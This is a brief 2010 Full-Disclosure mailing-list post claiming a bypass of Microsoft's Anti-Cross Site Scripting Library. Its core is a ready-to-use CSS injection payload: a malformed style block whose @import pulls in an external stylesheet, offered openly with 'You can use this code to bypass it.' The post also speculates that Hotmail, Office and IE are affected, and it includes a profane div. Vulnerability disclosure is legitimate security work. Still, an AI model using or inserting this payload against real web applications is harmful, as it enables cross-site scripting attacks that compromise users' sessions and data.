[Full-disclosure] Microsoft Anti-Cross Site Scripting Library Bypass

[Web Sec]

Microsoft use anti-xss library to filter content from user,but there is some
VULN in the library,so anyone can bypass this function to make a XSS
attack.All webapps use anti-xss library will be unsecue(Maybe include
Hotmal,Office,IE......)

You can use this code to bypass it,and there maybe othere cases to do this :

<style>

}@import url('//127.0.0.1/1.css');aaa

{;}

</style>

<div id="x">Fuck Ie</div>

More information:

http://www.wooyun.org/bug.php?action=view&id=190
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20100814/fef2c1be/attachment.html